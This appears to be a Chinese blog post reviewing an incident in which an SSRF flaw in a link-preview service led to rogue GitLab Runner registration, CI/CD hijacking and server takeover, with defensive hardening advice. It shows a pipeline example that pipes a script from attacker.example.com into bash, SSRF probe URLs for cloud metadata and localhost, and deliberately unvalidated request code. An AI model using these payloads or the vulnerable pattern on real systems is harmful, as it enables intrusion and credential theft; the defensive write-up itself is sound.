ARTICLE · INTELLIGENCE

战地情报 · 详情页

来自尧图项目组的一线实战观察与深度解析

SSRF漏洞如何通过CI/CD流水线攻破内网:一次凌晨三点的安全事件复盘

SSRF漏洞如何通过CI/CD流水线攻破内网:一次凌晨三点的安全事件复盘

1. 凌晨三点的那条告警,把我从床上拽了起来

先说结论:这不是什么科幻电影里的“AI觉醒”,而是一次典型的SSRF(服务端请求伪造)被自动化扫描工具打穿,然后顺着CI/CD流水线的信任链一路摸到了内网。整个过程从第一个异常请求到服务器被完全接管,前后不到四十分钟。我把它写出来,是因为类似的事情在过去半年里我至少见过三次,而且每一次的入口都出奇地相似。

这篇文章适合谁看?如果你手里管着几台服务器、跑着 GitLab 或者 Jenkins、用 Docker 部署过服务、或者正在做 AI Agent 相关的开发,那这篇内容大概率能帮你省下一次通宵。我会把整个事件的来龙去脉拆开讲清楚:攻击者是怎么发现入口的、SSRF 到底能捅多大的篓子、CI/CD 为什么成了放大器、以及我后来做了哪些加固。所有涉及具体操作的部分,我都会给出可以直接抄的配置和命令。

需要提前说明的是,文中提到的所有工具和技术细节,都只用于防御和自查目的。我分享的是“怎么发现自己的系统有这个问题”以及“怎么修”,不是“怎么去打别人”。这个边界希望大家心里有数。

事情发生在某个周二凌晨。我的监控机器人往手机上推了一条消息,内容是某台边缘节点的 CPU 占用在五分钟内从 3% 飙到了 97%,同时出站流量异常。我当时的第一反应是“是不是又被爬虫扫了”,因为这台机器上跑的是一个对外提供链接预览功能的小服务——用户提交一个 URL,服务端去抓取那个页面的标题和摘要返回。这个功能本身很常见,很多聊天工具、笔记软件都有类似的设计。

但接下来发生的事情让我意识到,问题比爬虫严重得多。我 SSH 上去看了一眼进程列表,发现有一个curl进程正在以极高的频率请求一个内网地址。那个地址是我 CI/CD 流水线的 GitLab Runner 注册端口。也就是说,有人正在利用我的链接预览服务,去探测我自己的内网。

这就是 SSRF 的经典形态:服务端被诱导去请求了一个攻击者原本访问不到的地址。而这次之所以后果特别严重,是因为我的链接预览服务和 CI/CD 基础设施在同一个 VPC 里,而且内网之间几乎没有做微隔离。

2. 从链接预览到内网漫游:SSRF 到底是怎么被利用的

2.1 一个“看起来人畜无害”的功能,怎么就成了入口

链接预览这个功能的实现逻辑非常简单:接收用户传来的 URL,服务端用 HTTP 客户端去请求这个 URL,解析 HTML 拿到<title>和<meta description>,返回给前端。问题出在“服务端去请求”这一步——如果没有对目标地址做严格限制,攻击者就可以传入任意地址,包括内网地址。

我当时的代码大概长这样(简化版):

import requests from flask import Flask, request, jsonify app = Flask(__name__) @app.route('/preview') def preview(): url = request.args.get('url') resp = requests.get(url, timeout=5) # 解析 title 和 description ... return jsonify({"title": title, "desc": desc})

这段代码的问题在于:url参数完全没有校验。攻击者可以传http://169.254.169.254/latest/meta-data/(云环境的元数据地址)、http://127.0.0.1:8080/admin、http://10.0.0.5:9000等等。服务端会老老实实去请求这些地址,然后把结果返回给攻击者。

更麻烦的是,很多 HTTP 客户端默认会跟随重定向。攻击者可以先传一个自己控制的公网地址,该地址返回 302 跳转到内网地址,这样即使你做了初步的 URL 校验,也可能被绕过。

2.2 为什么这次不是“看看就完了”,而是被打了进去

如果只是能读取内网页面的内容,危害还有限。但这次攻击者做了几件事,把 SSRF 的威力放大了好几个量级。

第一,他扫描了内网常见端口。通过链接预览服务的响应时间差异和返回内容,他可以判断哪些端口是开放的。比如请求http://10.0.0.5:8080如果返回连接拒绝,说明端口关闭;如果返回 401 或 200,说明有服务在跑。

第二,他发现了 GitLab Runner 的注册接口。GitLab Runner 在注册时会用一个 registration token,如果这个 token 泄露或者接口没有做网络层限制,攻击者就可以注册一个恶意的 Runner,然后这个 Runner 就能在 CI/CD 流水线里执行任意代码。

第三,他利用了 CI/CD 流水线的信任关系。在大多数团队里,CI/CD 流水线拥有很高的权限——能拉代码、能构建镜像、能推送到镜像仓库、能部署到生产环境。一旦攻击者控制了 Runner,他就可以修改流水线配置,在构建阶段注入恶意代码,然后等着下一次部署时把后门带到生产环境。

整个过程听起来很复杂,但实际上从 SSRF 到 Runner 注册再到流水线劫持,攻击者用的都是现成的工具和脚本。我在日志里看到,从第一个恶意请求到 Runner 注册成功,中间只隔了不到十二分钟。

2.3 攻击链复盘:每一步的日志长什么样

我把关键日志片段整理了一下,方便大家对照自己的系统看看有没有类似痕迹。

时间事件日志特征
03:12首次探测内网/preview?url=http://10.0.0.1:80返回 200
03:15端口扫描大量/preview?url=http://10.0.0.x:yyyy请求,响应时间差异明显
03:19发现 GitLab/preview?url=http://10.0.0.5:8080返回 GitLab 登录页
03:22尝试 Runner 注册内网出现向 GitLab 的 POST 请求,路径含/api/v4/runners
03:24Runner 注册成功GitLab 日志出现新的 Runner 注册记录
03:31流水线被触发CI/CD 日志出现异常的 job,执行了非预期的脚本
03:47服务器被接管出现异常 SSH 登录和计划任务

这张表里的每一步,单独看都不一定引起警觉,但连起来就是一条完整的攻击链。这也是为什么我在事后复盘时反复强调:安全不是靠某一个点的防护,而是靠整条链路的可见性和阻断能力。

3. CI/CD 为什么成了攻击者的“放大器”

3.1 流水线的权限比你想象的大得多

很多团队在搭建 CI/CD 时,关注的是“能不能跑通”,而不是“跑通了之后能碰到什么”。一个典型的 GitLab CI 流水线,Runner 通常具备以下能力:

  • 拉取代码仓库的所有代码
  • 读取 CI/CD 变量(里面往往有数据库密码、API Key、部署密钥)
  • 构建并推送 Docker 镜像
  • 通过 SSH 或 Kubernetes API 部署到生产环境
  • 访问内网的其他服务

这意味着,一旦 Runner 被控制,攻击者拿到的不是一个普通用户的权限,而是一个“超级部署账号”。他可以读取所有环境变量,可以往镜像里注入后门,可以在部署脚本里加一行反向连接的命令。而且这些操作都是在“正常”的流水线执行过程中发生的,很多监控系统根本不会告警。

3.2 Runner 注册机制里的那些坑

GitLab Runner 的注册流程本身设计是为了方便,但如果不加限制,就会变成漏洞。默认情况下,只要知道 GitLab 地址和 registration token,任何人都可以注册一个 Runner。这个 token 有时候会出现在不该出现的地方——比如被硬编码在脚本里、被提交到代码仓库、或者通过 SSRF 从内网接口泄露。

我后来检查了自己的配置,发现几个问题:

  • Runner 注册没有限制来源 IP
  • registration token 长期没有轮换
  • Runner 的executor用的是shell而不是docker,意味着 job 直接在宿主机上执行
  • 流水线变量里存了生产环境的 SSH 私钥

这几个问题叠加在一起,基本上等于把钥匙插在门上还贴了张纸条说“欢迎光临”。

3.3 从 Runner 到生产环境:只需要改一行配置

攻击者注册 Runner 之后,下一步就是让它跑起来。他可以在自己的仓库里创建一个.gitlab-ci.yml,内容大概是这样的:

stages: - build build: stage: build script: - curl -s http://attacker.example.com/payload.sh | bash tags: - my-runner-tag

如果这个 Runner 的 tag 和某个项目的流水线匹配,或者攻击者直接修改了某个项目的流水线配置,那么这段脚本就会在 Runner 所在的机器上执行。而由于 Runner 通常能访问生产环境,攻击者就可以进一步横向移动。

我在日志里看到,攻击者执行的脚本做了三件事:读取环境变量并外传、在宿主机上添加 SSH 公钥、创建一个定时任务用于持久化。这三步做完,这台机器就已经不属于我了。

4. 我是怎么发现并阻断这次攻击的

4.1 异常流量的第一反应:先断网,再取证

凌晨三点多,我看到告警后的第一反应不是去分析代码,而是先把那台边缘节点的出站流量切断。具体操作是修改安全组规则,只保留必要的入站端口,出站全部拒绝。这样做的好处是,即使攻击者还在尝试横向移动,也会因为网络不通而失败。

然后我做了一次内存和磁盘的快照,保留现场。这一步很重要,因为很多攻击者会清理日志,如果你不提前保存,后面复盘时就没有证据了。快照完成后,我才开始逐个检查进程、网络连接、计划任务和启动项。

4.2 定位入口:从链接预览服务到 SSRF 确认

我首先检查了链接预览服务的访问日志,发现大量来自同一个 IP 的请求,参数里的 URL 都是内网地址。这基本确认了入口就是 SSRF。接着我检查了代码,发现确实没有对 URL 做任何限制。

然后我检查了 GitLab 的审计日志,发现了一个陌生的 Runner 注册记录,注册时间正好在 SSRF 探测之后。这个 Runner 的 tag 和我某个项目的 tag 匹配,而且已经执行过几次流水线。我立刻删除了这个 Runner,并轮换了 registration token。

4.3 清理与加固:我做了哪些改动

清理工作包括:删除攻击者添加的 SSH 公钥、删除异常的计划任务、轮换所有可能泄露的密钥、重新部署受影响的服务器。加固工作则涉及多个层面,我在下一节详细展开。

这里先说一个教训:不要只修入口。我一开始只修了 SSRF 的问题,但后来发现攻击者已经在内网留下了其他访问路径。如果我只修入口而不做全面的凭据轮换和主机排查,攻击者随时可以回来。

5. 防御加固:从代码到基础设施的完整清单

5.1 代码层:SSRF 防护的正确姿势

SSRF 防护的核心原则是:不要相信用户提供的任何地址。具体来说,需要做以下几件事。

第一,使用白名单而不是黑名单。黑名单永远列不全,而且容易被绕过(比如用十进制 IP、八进制 IP、IPv6 映射等)。白名单则是只允许特定的域名或 IP 段。

第二,解析 URL 后检查目标 IP。即使域名看起来正常,也要解析成 IP 后判断是否属于内网段。内网段包括10.0.0.0/8、172.16.0.0/12、192.168.0.0/16、127.0.0.0/8、169.254.0.0/16等。

第三,禁止跟随重定向,或者对重定向后的地址再做一次校验。很多 SSRF 绕过就是利用重定向实现的。

第四,使用专门的 HTTP 客户端库,并设置合理的超时和响应大小限制。避免攻击者通过大文件拖垮服务。

下面是我后来用的校验函数(Python 版):

import ipaddress import socket from urllib.parse import urlparse BLOCKED_NETS = [ ipaddress.ip_network('10.0.0.0/8'), ipaddress.ip_network('172.16.0.0/12'), ipaddress.ip_network('192.168.0.0/16'), ipaddress.ip_network('127.0.0.0/8'), ipaddress.ip_network('169.254.0.0/16'), ipaddress.ip_network('0.0.0.0/8'), ] def is_safe_url(url): parsed = urlparse(url) if parsed.scheme not in ('http', 'https'): return False host = parsed.hostname if not host: return False try: ip = socket.gethostbyname(host) except socket.gaierror: return False ip_obj = ipaddress.ip_address(ip) for net in BLOCKED_NETS: if ip_obj in net: return False return True

这个函数只做了基础校验,实际使用时还需要考虑 DNS 重绑定攻击(即第一次解析是公网 IP,第二次解析变成内网 IP)。更稳妥的做法是在建立连接时直接绑定解析后的 IP,或者使用支持 SSRF 防护的 HTTP 客户端库。

5.2 CI/CD 层:让 Runner 不再成为跳板

CI/CD 的加固我从几个方面入手。

首先是 Runner 的注册限制。GitLab 支持在注册时要求 Runner 提供一个认证 token,而且可以限制 Runner 的 tag 和访问范围。我后来改成了“只有特定 IP 段才能注册 Runner”,并且 registration token 定期轮换。

其次是 Runner 的执行环境。我把shellexecutor 改成了dockerexecutor,这样每个 job 都在独立的容器里运行,即使被注入代码,影响范围也有限。同时限制了容器的网络访问,只允许访问必要的地址。

第三是流水线变量的管理。我把敏感变量改成了“受保护”状态,只有特定分支才能使用。同时引入了外部的密钥管理服务,避免密钥直接存在 GitLab 里。

第四是流水线的审计。我开启了 GitLab 的审计日志,并对流水线的创建、修改、执行做了监控。任何非预期的流水线变更都会触发告警。

5.3 网络层:微隔离让横向移动变得困难

这次事件让我意识到,内网“扁平化”是最大的风险之一。链接预览服务、GitLab、生产数据库都在同一个网段里,一旦一个点被突破,攻击者就可以轻松横向移动。

我后来做了网络微隔离,具体做法是:

  • 把不同职能的服务放到不同的子网
  • 子网之间默认拒绝所有流量,只放行必要的端口和协议
  • 对 CI/CD 相关的服务做额外的访问控制,只允许特定的源 IP 访问
  • 对云环境的元数据地址做特殊处理,禁止从业务容器访问

这些改动听起来工程量大,但实际上用安全组和网络策略就能实现大部分。关键是要有“默认拒绝”的思路,而不是“默认允许再逐个封禁”。

5.4 监控层:让异常行为无处遁形

监控方面,我增加了几个关键的告警规则:

  • 出站流量突增(比如五分钟内增长超过 300%)
  • 对非常见端口的连接尝试
  • 对云元数据地址的访问
  • CI/CD 流水线的非预期变更
  • 新 Runner 的注册
  • 敏感文件的读取(比如/etc/shadow、~/.ssh/id_rsa)

这些规则不需要多复杂,用现有的监控工具就能实现。重要的是有人看告警,而且告警能触发自动响应。我后来把一些高危告警直接接到了自动阻断脚本上,比如检测到对元数据地址的访问就自动封禁源 IP。

6. 常见问题与排查技巧实录

6.1 怎么判断自己的服务有没有 SSRF 风险

一个简单的自查方法是:找出所有“服务端会发起网络请求”的功能点,然后问自己几个问题。

检查项风险表现建议
URL 参数是否可控用户能传任意 URL加白名单校验
是否跟随重定向302 跳转后请求内网禁止跟随或二次校验
是否支持非 HTTP 协议支持 file://、gopher:// 等只允许 http/https
响应内容是否返回内网页面内容被返回限制返回内容或脱敏
是否有超时限制请求长时间挂起设置合理超时
是否限制响应大小大文件拖垮服务限制读取字节数

如果以上任何一项是“否”,那就需要重点关注。

6.2 CI/CD 被入侵后,第一时间应该做什么

我的经验是,按以下顺序操作:

  1. 暂停所有流水线,防止攻击者继续利用
  2. 删除未知的 Runner,轮换 registration token
  3. 轮换所有 CI/CD 变量中的密钥
  4. 检查最近的流水线执行记录,找出异常 job
  5. 检查 Runner 所在主机的进程、网络连接、计划任务
  6. 重新部署受影响的服务器,不要试图“清理”已被入侵的机器

这里特别强调第 6 点:一旦主机被入侵,最安全的做法是重建,而不是清理。因为你永远不知道攻击者留了多少后门。

6.3 几个容易忽略的细节

第一个细节是 DNS 重绑定。即使你在代码里校验了 URL 的 IP,攻击者仍然可以通过控制 DNS 解析来绕过。防御方法是在建立连接时直接使用解析后的 IP,而不是让 HTTP 客户端重新解析。

第二个细节是 IPv6。很多 SSRF 防护只考虑了 IPv4,但攻击者可以用 IPv6 地址访问内网服务。比如http://[::1]:8080就是访问本机的 8080 端口。

第三个细节是云环境的元数据服务。在云上,169.254.169.254这个地址可以获取实例的临时凭据。如果 SSRF 能访问这个地址,攻击者就可以拿到云账号的权限。防御方法是在网络层禁止业务容器访问这个地址,或者使用 IMDSv2 等更安全的元数据服务。

第四个细节是 CI/CD 的缓存和制品。攻击者可能在缓存里植入恶意文件,或者篡改制品的元数据。所以清理时不仅要看流水线配置,还要看缓存和制品仓库。

7. 一些个人体会和后续的扩展思路

这次事件之后,我最大的体会是:安全不是一个产品,而是一个持续的过程。我见过很多团队买了很贵的安全设备,但代码里的 SSRF 漏洞三年没修;也见过一些团队没什么预算,但把基础的事情做得很好,反而很少出事。

如果你问我最值得投入的三件事是什么,我会说:第一,把所有对外发起请求的功能点梳理一遍,加上白名单校验;第二,把 CI/CD 的权限收紧,Runner 用容器隔离,密钥定期轮换;第三,把内网做微隔离,让攻击者即使进来了也走不远。

这三件事不需要花很多钱,但能挡住绝大多数自动化攻击。而自动化攻击恰恰是凌晨三点最可能找上你的那种。

后续我还想做一些扩展,比如把 SSRF 检测集成到代码扫描流程里,每次提交代码时自动检查有没有新增的 URL 请求点;再比如把 CI/CD 的审计日志接入 SIEM,做更复杂的关联分析。这些还在摸索中,等有成熟经验了再分享。

最后分享一个小技巧:如果你不确定自己的服务有没有 SSRF,可以搭一个内网的 HTTP 服务,然后用你的功能去请求它。如果能请求成功,说明有风险。这个方法比看代码快得多,而且能发现一些静态分析发现不了的问题。

RELATED READING

延伸阅读

更多一线实战笔记与深度复盘,助您持续精进